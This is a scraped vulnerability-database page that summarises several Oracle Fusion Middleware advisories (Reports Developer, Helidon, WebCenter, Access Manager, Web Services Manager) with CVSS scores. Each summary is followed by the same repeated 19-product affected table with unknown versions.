Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Reports Developer 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.1 indicating high confidentiality and integrity impact.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 base score of 7.4.
7.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3, potentially affecting other Oracle products.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to potentially compromise confidentiality, integrity, and availability via HTTP, with a CVSS 3.1 base score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 Imperative Web Server allows unauthenticated network attackers via HTTP to modify or delete critical data, with a CVSS 3.1 base score of 5.9 indicating moderate integrity impact.
5.9 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTPS network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 score of 7.1.
7.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Access Manager 12.2.1.4.0 and 14.1.2.1.0 enables unauthenticated attackers to exploit SAML access, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers to cause denial of service by crashing or hanging the Imperative Web Server, with a CVSS 3.1 base score of 7.5 due to availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to compromise system confidentiality, integrity, and availability via HTTPS, with a CVSS 3.1 score of 8.1.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to potentially access critical or all Helidon data, with a CVSS 3.1 base score of 6.8 indicating moderate confidentiality impact.
6.8 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
